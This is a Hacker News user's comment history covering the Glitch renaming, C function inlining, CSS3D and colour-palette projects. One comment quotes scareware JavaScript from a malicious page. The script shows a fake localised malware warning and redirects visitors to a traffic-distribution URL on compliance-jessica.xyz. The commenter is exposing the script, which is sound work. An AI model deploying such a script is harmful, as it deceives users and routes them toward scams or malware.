Hacker Newsnew | past | comments | ask | show | jobs | submit | hDeraj's commentslogin

Exploiting can be a noun: https://en.wikipedia.org/wiki/Gerund


Here's the served JS for reference:

      var lang = navigator.languages ? navigator.languages[0] : (navigator.language || navigator.userLanguage);
    if (lang) lang = lang.substring(0, 2);
    console.log('lang: ' + lang);

    var country = 'US';

    var msg = 'Your computer is infected. You have to check it with antivirus.';

    if (lang == 'es') msg = "Su navegador contiene malware. Usted tiene que instalar la herramienta de eliminación de malware Chrome.";
    if (lang == 'it') msg = "Il tuo browser contiene malware. È necessario installare strumento di rimozione malware Chrome.";
    if (lang == 'fr') msg = "Votre navigateur contient MALWARE. Vous devez installer l'outil de suppression de logiciels malveillants Chrome.";
    if (lang == 'pt') msg = "Seu navegador contém malware. Você tem que instalar o Ferramenta de remoção Chrome Malware.";
    if (lang == 'de') msg = "Ihr Browser enthält MALWARE. Sie müssen Chrome Malware Removal Tool zu installieren.";
    if (lang == 'ru') msg = "Ваш браузер содержит вредоносный код. Вы должны установить расширение для блокировки вредоносного кода.";
    if (lang == 'gr') msg = "Το πρόγραμμα περιήγησής σας περιέχει κακόβουλο λογισμικό. Θα πρέπει να εγκαταστήσετε το Chrome Malware εργαλείο αφαίρεσης.";

    if (confirm(msg)) {
        window.top.location.href = 'http://compliance-jessica.xyz/tds.php?subid=alertyes' + country + lang;
    } else {
        window.top.location.href = 'http://compliance-jessica.xyz/tds.php?subid=alertno' + country + lang;
    }


And their whois registration was updated today...


I don't know the reasoning for the first change, but they explain the need to change it again in the article:

"If you’ve been following along, you know Glitch is a new name for our community; our beta launch last year was under the name Gomix. Why did we change the name (again)? Well, we heard from some members of our community that the old name evokes a hurtful slur in some Russian communities, and given our deep commitment to building an inclusive service, that didn’t sit right with us, even though people understand we didn’t mean to be hurtful. But then we realized that in fixing this slight, we had the opportunity to pick a much better name, one that makes it absolutely clear that we’re building a community for everyone."


That seems reasonable, but the new name is already in wide use in software/hardware. Even outside, its dictionary definition is "a defect or malfunction in a machine or plan".

That seems like an odd choice, though the blog seems to suggest it's because everyone will be fixing each other's bugs.


Well, Stack Overflow, probably felt like an odd choice at the time too.


StackOverflow was named by a public vote: https://blog.codinghorror.com/help-name-our-website/


I'm not criticizing rebranding (although anyone would agree that rebranding this many times in less than a year of existence is abnormal).

I'm criticizing how they pretend this is a new product launch.


[I'm the CEO of Fog Creek, which made Glitch.] I don't think we intended to indicate it's a new product launch so much as our community features and focus are new. It's a hard balance to strike without confusing people who've never heard of any of it.

And yeah, the renamings are embarrassing because they're mistakes that were on me to catch. Won't happen again, but fortunately I have a team that is very understanding and I hope our community is, too.


You can't leave us hanging, whats the slur that sounds like GoMix?


"GoMix" would be read as "gomik-s" in Russian.

"Gomik" means literally "faggot", the plural is "gomiki".

The suffix "-s" was being used in pre-revolutionary Russia as a way to make your speech sound more polite. Etymologically, "-s" is short for "sir". Nowadays, "-s" is used (very rarely) to imitate speech of somebody from those times, mostly for its humorous effect.

Given the above, "GoMix" sounds very ridiculous in Russian, something like "faggot, sir".


'homos' is the pretty much the direct translation.


When calling a simple function like this within a large loop, would it make a noticeable difference in speed to inline the computation vs. having a function call? If so, what's the best practice for inlining a computation like this? I imagine a macro would be the simplest solution but I'm interested to hear any other techniques that are used


> When calling a simple function like this within a large loop, would it make a noticeable difference in speed to inline the computation vs. having a function call?

Maybe. Inlining small functions can reduce cache load, and it means no call/ret instructions and no overhead of argument passing. Moreover inlining allows futher optimizations which can't be done without breaking function boundaries. It may be noticeable. And may be not. Depends on loop.

> what's the best practice for inlining a computation like this?

There are a lot of examples can be seen in linux kernel. Just random example from include/linux/list.h:

  static inline void list_replace(struct list_head *old,
				struct list_head *new)
  {
	new->next = old->next;
	new->next->prev = new;
	new->prev = old->prev;
	new->prev->next = new;
  }
Keyword 'static' allows compiler to make no callable (not inlined) copy of function at all, and also it allows to define such a functions in header files. Compiler can't inline function call if it has no function definition at compile time. Declaration is not enough for inlining. Therefore such a functions likely to be defined in headers, and 'static' becomes necessary. When defined in *.c file 'static' can be omitted, but probably better not to.

With C++ such a functions will be a methods in most cases, and (if so) "static" would be unneeded and wrong.

And you'll need to turn on optimizations when compiling. Compiler is not inlining when not optimizing.


A call and a return is already two instructions, and this simple function is essentially also 2 (or 1 if you use a conditional move as illustrated). Passing the arguments and making the call alone takes more instructions than the function body itself. It'll be both smaller and faster, so no tradeoffs there. To me, this is clearly in the "yes, definitely inline it" category.


It can sometimes make a difference, but usually the compiler's optimizer does a good job of deciding whether or not a function should be inlined.

If you want you can nudge the compiler in the direction you want via the "inline" keyword, although the compiler won't always take this suggestion to heart. MSVC has "__forceinline" but it too will not always comply.

Before the "inline" keyword, macros were the standard way to do this, IIRC


There's something funny about a compiler being able to ignore something called "force inline"


Sometimes it's not possible to inline functions, for example recursive calls


This is actually a bug with CSS3D transforms in general with Firefox:

http://jsfiddle.net/yNfQX/21/



Looks like this jsfiddle just doesn't do per-pixel z-sorting (which I wouldn't have expected from browser 3D effects) but in my brain that shouldn't be an issue with cubes (no polygons overlapping).


That's depressing. This is a really neat bit of tech that I'd never consider using whilst it doesn't work in FF...


I see WebAssembly this way:

WebAssembly is to JavaScript what WebGL is to Canvas


Also note that the post is tagged as 'bad-theory'


"Unlike most academic work that has little to no practical implications, I think blindly following the stuff here will prove to be incalculably beneficial for you."


I actually did a (rough mvp) hackathon project with a friend that implemented this idea pretty literally: https://github.com/dominodes/dominodes


I just started a similar project a couple weeks ago. After getting the prominent colors, recoloring the original image makes a pretty neat effect.

http://www.jaredharkins.com/posts/palette.html


I tackled the same problem. In fact, I utilized the same strategy you did. It is essentially the same, but allows for the user to input a gif and receive a reconstructed gif using only its "palette."

https://github.com/salkj/palette


Guidelines | FAQ | Lists | API | Security | Legal | Apply to YC | Contact

Search: